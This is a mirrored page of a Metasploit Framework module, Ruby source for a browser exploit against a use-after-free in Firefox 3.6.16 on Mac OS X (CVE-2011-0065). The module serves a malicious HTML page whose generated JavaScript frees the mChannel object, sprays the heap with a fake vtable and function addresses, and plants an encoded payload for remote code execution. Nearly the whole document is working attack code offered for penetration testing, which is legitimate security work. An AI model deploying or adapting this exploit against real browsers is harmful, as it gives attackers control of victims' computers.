CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/mozilla_mchannel.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
#include Msf::Exploit::Remote::BrowserAutopwn
11
#
12
#autopwn_info({
13
# :ua_name => HttpClients::FF,
14
# :ua_minver => "3.6.16",
15
# :ua_maxver => "3.6.16",
16
# :os_name => OperatingSystems::Match::MAC_OSX,
17
# :javascript => true,
18
# :rank => NormalRanking,
19
#})
20
21
def initialize(info = {})
22
super(update_info(info,
23
'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free',
24
'Description' => %q{
25
This module exploits a use-after-free vulnerability in Mozilla
26
Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the
27
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
28
becomes a dangling pointer and can be reused when setting the OBJECTs
29
data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7,
30
10.6.8, 10.7.2 and 10.7.3.
31
},
32
'License' => MSF_LICENSE,
33
'Author' =>
34
[
35
'regenrecht', # discovery
36
'Rh0', # windows metasploit module
37
'argp <argp[at]census-labs.com>' # mac os x version
38
],
39
'References' =>
40
[
41
['CVE', '2011-0065'],
42
['OSVDB', '72085'],
43
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
44
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
45
],
46
'Payload' =>
47
{
48
'Space' => 1024,
49
},
50
'Platform' => 'osx',
51
'Targets' =>
52
[
53
[
54
# Firefox 3.6.16 on Lion runs as a 32-bit process
55
'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)',
56
{
57
'Arch' => ARCH_X86,
58
'Fakevtable' => 0x2727,
59
'Fakefunc' => 0x2727001c,
60
}
61
],
62
],
63
'DefaultTarget' => 0,
64
'DisclosureDate' => '2011-05-10'
65
))
66
end
67
68
def on_request_uri(cli, request)
69
# random javascript variable names
70
js_element_name = rand_text_alpha(rand(10) + 5)
71
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
72
js_sc_name = rand_text_alpha(rand(10) + 5)
73
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
74
js_chunk_name = rand_text_alpha(rand(10) + 5)
75
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
76
js_block_name = rand_text_alpha(rand(10) + 5)
77
js_array_name = rand_text_alpha(rand(10) + 5)
78
79
# check for non vulnerable targets
80
agent = request.headers['User-Agent']
81
82
if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/
83
vprint_error("Target not supported: #{agent}")
84
send_not_found(cli)
85
return
86
end
87
88
# re-generate the payload
89
return if ((payload = regenerate_payload(cli).encoded) == nil)
90
91
payload_buf = ''
92
payload_buf << payload
93
escaped_payload = Rex::Text.to_unescape(payload_buf)
94
95
# setup the fake memory references
96
my_target = targets[0] # in case we add more targets later
97
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
98
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
99
100
exploit_js = <<-JS
101
#{js_element_name} = document.getElementById("d");
102
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
103
#{js_element_name}.onChannelRedirect(null, new Object, 0)
104
105
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
106
107
var #{js_sc_name} = unescape("#{escaped_payload}");
108
109
var #{js_ret_addr_name} = unescape("#{fakefunc}");
110
111
while(#{js_ret_addr_name}.length < 0x120)
112
{
113
#{js_ret_addr_name} += #{js_ret_addr_name};
114
}
115
116
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
117
#{js_chunk_name} += #{js_sc_name};
118
#{js_chunk_name} += #{js_ret_addr_name};
119
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
120
121
while(#{js_final_chunk_name}.length < 0x800000)
122
{
123
#{js_final_chunk_name} += #{js_final_chunk_name};
124
}
125
126
var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
127
128
#{js_array_name} = new Array()
129
130
for(n = 0; n < 0x220; n++)
131
{
132
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
133
}
134
JS
135
136
html = <<-HTML
137
<html>
138
<body>
139
<object id="d"><object>
140
<script type="text/javascript">
141
#{exploit_js}
142
</script>
143
</body>
144
</html>
145
HTML
146
147
# remove the extra tabs
148
html = html.gsub(/^ {4}/, '')
149
print_status("Sending #{self.name}")
150
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
151
152
# handle the payload
153
handler(cli)
154
end
155
end
156
157